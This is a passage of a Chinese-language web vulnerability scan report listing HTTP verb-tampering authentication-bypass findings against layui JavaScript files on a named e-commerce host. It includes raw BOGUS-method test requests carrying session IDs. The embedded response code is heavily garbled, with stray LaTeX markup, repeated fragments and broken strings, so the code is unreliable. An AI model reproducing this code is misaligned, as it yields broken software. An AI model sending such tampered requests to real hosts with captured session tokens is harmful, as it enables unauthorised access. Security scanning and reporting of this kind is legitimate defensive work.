固定值:	将您的服务器配置为仅允许所需 HTTP 方法

差异: 方法 从以下位置进行控制: GET 至: BOGUS

推理: 测试结果似乎指示存在脆弱性,因为"测试响应"与"原始响应"完全相同,这表明动词篡改能够绕过站点认证。

测试请求和响应:

```
BOGUS /static/orderpage/lay/modules/form.js HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 7517
Access-Control-Allow-Headers: x-requested-with.content-type.sessionid
Server: openrestv
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:55 GMT
/** layui-v2.2.2 MIT License By http://www.layui.com */
  ;layui.define("layer",function(e){"use strict";var
i=layui.$,t=layui.layer,a=layui.hint(),n=layui.device(),l="form",r=".layui-form",s="layui-
this", u="layui-hide", o="layui-disabled", c=function() \\ \{this.config=\{verify: \{required: [/[\S]+/, "\&ignification", o="layui-hide", o="lay
项不能为空"],phone:[/^1\d{10}$/,"请输入正确的手机号"],email:[/^([a-zA-Z0-9 \.\-])+\@(([a-zA-Z0-9\-
])+\.)+([a-zA-z0-9]{2,4})+$/,"邮箱格式不正确"],url:[/(^#)|(^http(s*):\/\/[^\s]+\.[^\s]+\)/,"链接格式不
正确"],number:function(e){if(!e||isNaN(e))return"只能填写数字"},date:[/^(\d{4})[-\/]
(\d{1}|0\d{1}|1[0-2])([-\/](\d{1}|0\d{1}|[1-2][0-9]|3[0-1]))*$/,"日期格式不正确"],identity:
[/(^\d{15}$)|(^\d{17}(x|X|\d)$)/,"请输入正确的身份证号"]}};c.prototype.set=function(e){var
\texttt{t=this;return i.extend(!0,t.config,e),t}, \texttt{c.prototype.verify=function(e)} \{ \texttt{var t=this;return i.extend(!0,t.config,e),t} \}, \texttt{c.prototype.verify=function(e)} \} \}
\verb|i.extend(!0,t.config.verify,e),t|, c.prototype.on=function(e,i){|return|}
layui.onevent.call(this,l,e,i)},c.prototype.render=function(e,t){var n=this,c=i(r+function()
{return t?'[lay-filter="'+t+'"]':""}()),d={select:function(){var e,t="请选择",a="layui-form-
select",n="layui-select-title",r="layui-select-none",d="",f=c.find("select"),y=function(t,l)
{i(t.target).parent().hasClass(n)&&!l||(i("."+a).removeClass(a+"ed
"+a+"up"), e&&d&&e.val(d)), e=null}, h=function(t,c,f) {var
h=i(this),p=t.find("."+n),m=p.find("input"),k=t.find("dl"),q=k.children("dd");if(!c){var
b=function() {var e=t.offset().top+t.outerHeight()+5-
{\tt v.scrollTop(),i=k.outerHeight();t.addClass(a+"ed"),g.removeClass(u),e+i>v.height()\&\&e>=i\&\&t.addClass(a+"ed"),g.removeClass(u),e+i>v.height()\&\&e>=i\&\&t.addClass(a+"ed"),g.removeClass(u),e+i>v.height()\&\&e>=i\&\&t.addClass(a+"ed"),g.removeClass(u),e+i>v.height()\&\&e>=i\&\&t.addClass(a+"ed"),g.removeClass(u),e+i>v.height()\&\&e>=i\&\&t.addClass(a+"ed"),g.removeClass(u),e+i>v.height()\&\&e>=i\&\&t.addClass(a+"ed"),g.removeClass(u),e+i>v.height()\&\&e>=i\&\&t.addClass(a+"ed"),g.removeClass(u),e+i>v.height()\&\&e>=i\&\&t.addClass(a+"ed"),g.removeClass(u),e+i>v.height()\&\&e>=i\&\&t.addClass(a+"ed"),g.removeClass(u),e+i>v.height()\&\&e>=i\&\&t.addClass(a+"ed"),g.removeClass(u),e+i>v.height()\&\&e>=i\&\&t.addClass(a+"ed"),g.removeClass(u),e+i>v.height()\&\&e>=i\&\&t.addClass(a+"ed"),g.removeClass(u),e+i>v.height()\&\&e>=i\&\&t.addClass(a+"ed"),g.removeClass(u),e+i>v.height()\&\&e>=i\&\&t.addClass(a+"ed"),g.removeClass(u),e+i>v.height()\&\&e>=i\&\&t.addClass(a+"ed"),g.removeClass(u),e+i>v.height()\&\&e>=i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.add()&a+i\&\&t.
ass(a+"up"), x=function(e) {t.removeClass(a+"ed "+a+"up"), m.blur(), e||C(m.val(), function(e) {e&&
(y(e,!0),b()),k.find("."+r).remove())),p.find(".layui-edge").on("click",function())
{m.focus()}), m.on("keyup", function(e) {var i=e.keyCode;9===i&&b()}).on("keydown", function(e) {var
i=e.keyCode;9===i?x():13===i&&e.preventDefault()});var C=function(e,t,a){var
n=0; layui.each(q, function() {var t=i(this), l=t.text(), r=l.indexOf(e)===-1; (""===e||"blur"===a?
```

```
\texttt{e!==1:r) \&\&n++,"keyup"===a\&\&t[r?"addClass":"removeClass"](u)}); var \ l=n===g.length; return \ length{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth{\columnwidth}\columnwidth}\columnwidth}\columnwidth}\columnwidth}\columnwidth}\columnwidth}\columnwidth}\columnwidth}\columnwidth)}}}}}}} \\
 t(1),1},w=function(e){var i=this.value,t=e.keyCode;return
 9!==t&&13!==t&&37!==t&&38!==t&&39!==t&&40!==t&&(C(i,function(e){e?k.find("."+r)[0]|k.append('<p
class="'+r+'">无匹配项
'):k.find("."+r).remove()}, "keyup"), void(""===i&&k.find("."+r).remove()))};f&&m.on("keyup",w)
 .on ("blur", function (i) {e=m, d=k.find ("."+s).html(), setTimeout (function () {C (m.val(), function (e))}) } \\
 {d||m.val("")}, "blur")},200)}),g.on("click",function() {var e=i(this),a=e.attr("lay-
value"), n=h.attr("lay-filter"); return!e.hasClass(o) && (e.hasClass("layui-select-tips")?m.val(""):
 danger"), layui.event.call(this,1, "select("+n+")",
 \{elem:h[0], value:a, othis:t\}), x(!0), !1)\}), t.find("dl>dt").on("click", function(e))
 {return!1}),i(document).off("click",y).on("click",y)};f.each(function(e,l){var
r=i(this), u=r.next("."+a), c=this.disabled, d=l.value, f=i(l.options[l.selectedIndex]), y=l.options[0
];if("string"==typeof r.attr("lay-ignore"))return r.show();var v="string"==typeof r.attr("lay-
search"),p=y?y.value?t:y.innerHTML||t:t,m=i(['<div class="'+(v?"":"layui-unselect ")+a+(c?" layui-select-disabled":"")+'">','<div class="'+n+'"><input type="text" placeholder="'+p+'" value="'+(d?f.html():"")+'" '+(v?"":"readonly")+' class="layui-input'+(v?"":" layui-unselect")+
 (c?" "+o:"")+'">','<i class="layui-edge"></i></div>','<dl class="layui-anim layui-anim-upbit'+
 (r.find("optgroup")[0]?" layui-select-group":"")+'">'+function(e) {var i=[];return
layui.each(e,function(e,a){0!==e||a.value?"optgroup"===a.tagName.toLowerCase()?i.push('
<dt>"+a.label+"</dt>"):i.push('<dd lay-value="'+a.value+'" class="'+(d===a.value?s:"")+</pre>
 (a.disabled?" "+o:"")+'">'+a.innerHTML+"</dd>"):i.push('<dd lay-value="" class="layui-select-
tips">'+(a.innerHTML||t)+"</dd>")}),0===i.length&&i.push('<dd lay-value="" class="'+o+'">没有选项
 </dd>'),i.join("")}(r.find("*"))+"</dl>","
</{\tt div} > "].join("")); u[0] \&\&u.remove(), r.after(m), h.call(this, m, c, v))), checkbox:function() \{var e=0, var e, 
{checkbox:["layui-form-checkbox","layui-form-checked","checkbox"
. . .
 . . .
```

问题 7 / 18 Toc

使用 HTTP 动词篡改的认证旁路	
严重性:	#
CVSS 分数:	6.4
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/lay/modules/laypage.js
实体:	laypage.js (Page)
	可能会升级用户特权并通过 Web 应用程序获取管理许可权可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置
原因:	Web 应用程序编程或配置不安全
固定值:	将您的服务器配置为仅允许所需 HTTP 方法

差异: 方法 从以下位置进行控制: GET 至: BOGUS

推理: 测试结果似乎指示存在脆弱性,因为"测试响应"与"原始响应"完全相同,这表明动词篡改能够绕过站点认证。

测试请求和响应:

```
BOGUS /static/orderpage/lay/modules/laypage.js HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb7lb3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Accept-Language: en-US,en;q=0.8
```

```
sessionId: c5b8689a1098705cd3ffdff0d57563a1
Content-Length: 4318
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:55 GMT
/** layui-v2.2.2 MIT License By http://www.layui.com */
    ; lavui.define(function(e){"use strict"; var
a=document,t="getElementById",n="getElementsByTagName",i="laypage",r="layui-
disabled", u=function(e) {var a=this;a.config=e||
 {},a.config.index=++s.index,a.render(!0)};u.prototype.type=function(){var
e=this.config;if("object"==typeof e.elem)return void 0===e.elem.length?
 2:3},u.prototype.view=function(){var e=this,a=e.config,t=a.groups="groups"in a?
0|a.groups:5;a.layout="object"==typeof a.layout?a.layout:
 ["prev", "page", "next"], a.count=0|a.count, a.curr=0|a.curr||1, a.limits="object"==typeof a.limits?
a limits.
 [10,20,30,40,50],a.limit=0|a.limit||10,a.pages=Math.ceil(a.count/a.limit)||1,a.curr>a.pages&&
  (a.curr=a.pages),t<0?t=1:t>a.pages&&(t=a.pages),a.prev="prev"in a?
a.prev:"上一页",a.next="next"in a?a.next:"下一页";var
n=a.pages>t?Math.ceil((a.curr+(t>1?1:0))/(t>0?t:1)):1, i=\{prev:function()\{return\ a.prev?'<arbanching to the content of the 
href="javascript:;" class="layui-laypage-prev'+(1==a.curr?" "+r:"")+'" data-page="'+(a.curr-
1)+'">'+a.prev+"</a>":""}(),page:function(){var e=
 [];if(a.count<1)return"";n>1&&a.first!==!1&&0!==t&&e.push('<a href="javascript:;" class="layui-
laypage-first" data-page="1" title="首页">'+(a.first||1)+"</a>");var
i=Math.floor((t-1)/2),r=n>1?a.curr-i:1,u=n>1?function(){var e=a.curr+(t-i-1);return e>a.pages?}
spr">…</span>');r<=u;r++)r===a.curr?e.push('<span class="layui-laypage-curr"><em
class="layui-laypage-em" '+(/^#/.test(a.theme)?'style="background-color:'+a.theme+';"':"")+">
 </em></em>-(-m->"+r+"</em>-(-yan->"):e.push('<a href="javascript:;" data-page="'+r+'">'+r+"</a>");return
a.pages>t&&a.pages>u&&a.last!==!1&&(u+1<a.pages&&e.push('<span class="layui-laypage-spr">&#x2026;
</span>'),0!==t&&e.push('<a href="javascript:;" class="layui-laypage-last"
title="&#x5C3E;&#x9875;" data-page="'+a.pages+'">'+(a.last||a.pages)+"</a>")),e.join("")}
  (), next:function() {return a.next?'<a href="javascript:;" class="layui-laypage-next'+
  (a.curr==a.pages?" "+r:"")+'" data-page="'+(a.curr+1)+'">'+a.next+"</a>":""}(),count:'<span
class="layui-laypage-count">å± '+a.count+" æ;</span>",limit:function(){var e=['<span
class="layui-laypage-limits"><select lay-ignore>'];return layui.each(a.limits,function(t,n)
 {e.push('<option value="'+n+'"'+(n===a.limit?"selected":"")+">"+n+" æ;/é
 ;µ</option>")}),e.join("")+"</select></span>"}(),skip:function(){return['<span class="layui-
laypage-skip">第','<input type="text" min="1" value="'+a.curr+'" class="layui-
input">','页<button type="button" class="layui-laypage-btn">&#x786e;&#x5b9a;</button>',"
 </span>"].join("")}()};return['<div class="layui-box layui-laypage layui-laypage-'+
   (a.theme?/^#/.test(a.theme)?"molv":a.theme:"default")+'" id="layui-laypage-
   '+a.index+'">',function() {var e=[];return layui.each(a.layout,function(a,t)
  \{i[t] \& \& e.push(i[t]) \}), e.join("") \} (), "</div>"].join("") \}, u.prototype.jump=function(e,a) \\ \{if(e) \{varelef all varelef all vare
 t=this,i=t.config,r=e.children,u=e[n]("button")[0],l=e[n]("input")[0],p=e[n]("select")
 [0], c=function() {var e=0|1.value.replace(/\s|\D/q,"");e&&(i.curr=e,t.render())};if(a)return
c(); for (var
o=0, y=r.length; o< y; o++) \\ "a"===r[o].nodeName.toLowerCase() \\ \&\&s.on(r[o], "click", function() \\ \{varantemethree and extension | varantemethree | varantemeth
e=0|this.getAttribute("data-page");e<1||e>i.pages||
  (i.curr=e,t.render())});p&&s.on(p,"change",function(){var e=this.value;i.curr*e>i.count&&
  (i.curr=Math.ceil(i.count/e)),i.limit=e,t.render()}),u&&s.on(u,"click",function()
 \{c()\}\}\}, u.prototype.skip=function(e){if(e){var a=this,t=e[n]("input")}}
 [0];t&&s.on(t,"keyup",function(t){var n=this.value,i=t.keyCode;/^(37|38|39|40)$/.test(i)||
  (/\D/.test(n)&&
 (\texttt{this.value=n.replace(/\D/,"")),13===i\&\&a.jump(e,!0))}), \texttt{u.prototype.render=function(e)} \\ \{\texttt{var}, \texttt{var}, \texttt{va
n=this, i=n.config, r=n.type(), u=n.view(); 2===r?i.elem\&\&(i.elem.innerHTML=u): 3===r?i.elem\&\&(i.elem.innerHTML=u): 3===r?i.elem.innerHTML=u): 3==r?i.elem.innerHTML=u): 3=r?i.elem.innerHTML=u): 
  i.elem.html(u):a[t](i.elem)\&\&(a[t](i.elem).innerHTML=u),i.jump\&\&i.jump(i,e); var s=a[t]("layui-times"), i.jump&&i.jump(i,e); var s=a[t]("layui-times"), i.jump(i,e); var s=a[t]("layui-times"), i.j
laypage-"+i.index); n.jump(s), i.hash&&!e&&(location.hash="!"+i.hash+"="+i.curr), n.skip(s) \}; var s=0. \\ laypage-"+i.index); n.jump(s), i.hash&&!e&&(location.hash="!"+i.hash+"+i.curr), n.skip(s) \}; var s=0. \\ laypage-"+i.index); n.jump(s), i.hash&&!e&&(location.hash="!"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.
 {render:function(e) {var a=new u(e);return a.index},index:layui.laypage?layui.laypage.index+1e4:0,
 . . .
```

问题 8 / 18 Toc

使用 HTTP 动词篡改的认证旁路		
严重性:	<u>ф</u>	
CVSS 分数:	6.4	
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/lay/modules/table.js	
实体:	table.js (Page)	
风险:	可能会升级用户特权并通过 Web 应用程序获取管理许可权可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置	
原因:	Web 应用程序编程或配置不安全	
固定值:	将您的服务器配置为仅允许所需 HTTP 方法	

差异: 方法 从以下位置进行控制: GET 至: BOGUS

推理: 测试结果似乎指示存在脆弱性,因为"测试响应"与"原始响应"完全相同,这表明动词篡改能够绕过站点认证。

测试请求和响应:

```
BOGUS /static/orderpage/lay/modules/table.js HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 20385
Access-Control-Allow-Headers: x-requested-with.content-type.sessionid
Server: openrestv
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:55 GMT
/** layui-v2.2.2 MIT License By http://www.layui.com */
  ;layui.define(["laytpl","laypage","layer","form"],function(e){"use strict";var
t=layui.$,i=layui.laytpl,a=layui.laypage,l=layui.layer,n=layui.form,o=layui.hint(),r=layui.device
(),d={config:{checkName:"LAY CHECKED",indexName:"LAY TABLE INDEX"},cache:{},index:layui.table?
layui.table.index+1e4:0, set:function(e) {var i=this; return
i.config=t.extend({},i.config,e),i},on:function(e,t){return
layui.onevent.call(this,s,e,t)}},c=function(){var e=this,t=e.config,i=t.id;return i&&
(c.config[i]=t), {reload:function(t){e.reload.call(e,t)},config:t}},s="table",u=".layui-
table", n="layui-hide", f="layui-none", y="layui-table-view", p=".layui-table-header", m=".layui-table-body", v=".layui-table-main", g=".layui-table-fixed", x=".layui-table-fixed-l", b=".layui-table-fixed-l", b=".layui-table-f
table-fixed-r", k=".layui-table-tool", C=".layui-table-page", w=".layui-table-sort", N="layui-table-
edit",F="layui-table-hover",W=function(e){var t='{{#if(item2.colspan){}}} colspan="
 \label{limits} $$ {\{item2.colspan}\}"{\{\#\} if(item2.rowspan)\{\}\} rowspan="{\{item2.rowspan\}}"{\{\#\}\}}"; return e=e||\{\}, rowspan="needle needle ne
    '
}}lay-skin="{{d.data.skin}}"{{# } }} {{# if(d.data.size){ }}lay-size="{{d.data.size}}"{{# } }}
{ \text{ if (d.data.even) { }}}lay-even{ \text{ }}})>',"<thead>","{{# layui.each(d.data.cols, function(i1,
item1){ }}","","{{# layui.each(item1, function(i2, item2){ }}",'{{# if(item2.fixed &&
item2.fixed !== "right"){ left = true; } }}','{{# if(item2.fixed === "right"){ right = true; }}
}}',function(){return e.fixed&&"right"!==e.fixed?'{{# if(item2.fixed && item2.fixed !== "right"){
}}':"right"===e.fixed?'{{# if(item2.fixed === "right"){ }}':""}(),'
item2.field||i2 }}" {{# if(item2.minWidth){ }}data-minWidth="{{item2.minWidth}}"{{# } }} '+t+'
{{# if(item2.unresize){}}data-unresize="true"{{# }}}>','<div class="layui-table-cell laytable-
\texttt{cell-',"} \{ \{ \# \ \texttt{if}(\texttt{item2.colspan} \ > \ 1) \{ \ \} \} "," \texttt{group","} \{ \{ \# \ \} \ \texttt{else} \ \{ \ \} \} "," \{ \{ \texttt{d.index} \} \} - \{ \{ \texttt{item2.field} \ | \ \} \} \} "," \} \}
i2}}",'{{\# if(item2.type !== "normal"){ }}," laytable-cell-{{ item2.type }}","{{\# }}}","{{\# }}
}}",'" {{#if(item2.align){}}align="{{item2.align}}"{{#}}}>','{{# if(item2.type === "checkbox"){
```

```
}}','<input type="checkbox" name="layTableCheckbox" lay-skin="primary" lay-
  filter="layTableAllChoose" {\{\# if(item2[d.data.checkName]) \{ \}\} checked\{\{\# \}; \}\}>', "\{\{\# \} else \{ \{ \}\}, \} checked\{\{\# \}\}, \} 
 }}",'<span>{{item2.title||""}}</span>',"{{# if(!(item2.colspan > 1) && item2.sort){ }}",'<span
 class="layui-table-sort layui-inline"><i class="layui-edge layui-table-sort-asc"></i><i
 class="layui-edge layui-table-sort-desc"></i></span>',"({# } }}","</div>"," "," "," "," "," "," "," "," "," "," "," "," "," "," "," "," "," "," "," "," "," "," "," "," "," 
 "].join("")},z=['
  ','{{# if(d.data.skin){ }}lay-skin="{{d.data.skin}}"{{# } }} {{# if(d.data.size){ }}lay-size="
  {d.data.size}"{\# }} {\# if(d.data.even){ }}lay-even{\# }}>',"","
  "].join(""),T=['<div class="layui-form layui-border-box {{d.VIEW CLASS}}" lay-</pre>
  filter="LAY-table-{{d.index}}" style="{{# if(d.data.width){}} } width:{{d.data.width}}px;{{# }}
  {{# if(d.data.height){ }}height:{{d.data.height}}px;{{# }}">',"{{# if(d.data.toolbar){
 }}",'<div class="layui-table-tool"></div>',"{{# } }}",'<div class="layui-table-box">',"{{# var left, right; }}",'<div class="layui-table-header">',W(),"</div>",'<div class="layui-table-body"
 layui-table-min">',z,"</div>","{{# if(left){}}","</div>","</div>","</div>","</div class="layui-table-fixed layui-table-fixed layui-table-fixed layui-table-fixed-l">',"</div class="layui-table-fixed layui-table-fixed-l">',"</div>",'</div class="layui-table-fixed-l">',"</div>",'</div
 body">',z,"</div>","</div>","{{# }; }}","{{# if(right){{}}",''<div class="layui-table-fixed layui-
 table-fixed-r">','<div class="layui-table-header">',W({fixed:"right"}),'<div class="layui-table-header">',W(fixed:"right")
 mend"></div>',"</div>','<div>class="layui-table-body">',z,"</div>","</div>","{{# }; }}","
 //div>","[{# if(d.data.page){ }}",'<div class="layui-table-page">','<div id="layui-table-page{{d.index}}"></div>',"</div>","{{# } }}","<style>","{{# layui.each(d.data.cols, function(i1,
 item1) {","layui.each(item1, function(i2, item2) { }}",".1
```

问题 9 / 18 Toc

使用 HTTP 动词篡改的认证旁路	
严重性:	<u>ф</u>
CVSS 分数:	6.4
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/lay/modules/laytpl.js
实体:	laytpl.js (Page)
	可能会升级用户特权并通过 Web 应用程序获取管理许可权可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置
原因:	Web 应用程序编程或配置不安全
固定值:	将您的服务器配置为仅允许所需 HTTP 方法

差异: 方法 从以下位置进行控制: GET 至: BOGUS

推理: 测试结果似乎指示存在脆弱性,因为"测试响应"与"原始响应"完全相同,这表明动词篡改能够绕过站点认证。

测试请求和响应:

```
BOGUS /static/orderpage/lay/modules/laytpl.js HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1

HTTP/1.1 200 OK
```

```
Content-Length: 1835
 Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
 Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:55 GMT
 /** layui-v2.2.2 MIT License By http://www.layui.com */
   ; layui.define(function(e){"use strict"; var r={open:"{{",close:"}}"},c={exp:function(e){return
 \text{new RegExp}(e, "g") \}, \\ \text{query:function}(e, c, t) \\ \{ \text{var o=["\#([\s])+?","([^{\#}])*?"]}[e||0]; \\ \text{return new RegExp}(e, "g") \}, \\ \text{query:function}(e, c, t) \\ \{ \text{var o=["\#([\s])+?","([^{\#}])*?"]}[e||0]; \\ \text{return new RegExp}(e, "g") \}, \\ \text{query:function}(e, c, t) \\ \{ \text{var o=["\#([\s])+?","([^{\#}])*?"]}[e||0]; \\ \text{return new RegExp}(e, "g") \}, \\ \text{query:function}(e, c, t) \\ \text{qu
 n((c||"")+r.open+o+r.close+(t||""))), escape: function(e) \{return \ String(e||"").replace(/&(?!#?[a-turn \ String(e||"").replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#).replace(/&(?!#)
zA-Z0-
9]+;)/g, "&").replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/'/g, "&#39;").replace(/"/g, "&quot;")},error:function(e,r){var c="Laytpl Error: ";return"object"==typeof
console \& \& console.error(c+e+"\n"+(r||"")), c+e \} \}, n=c.exp, t=function(e)
 {this.tpl=e};t.pt=t.prototype,window.errors=0,t.pt.parse=function(e,t){var
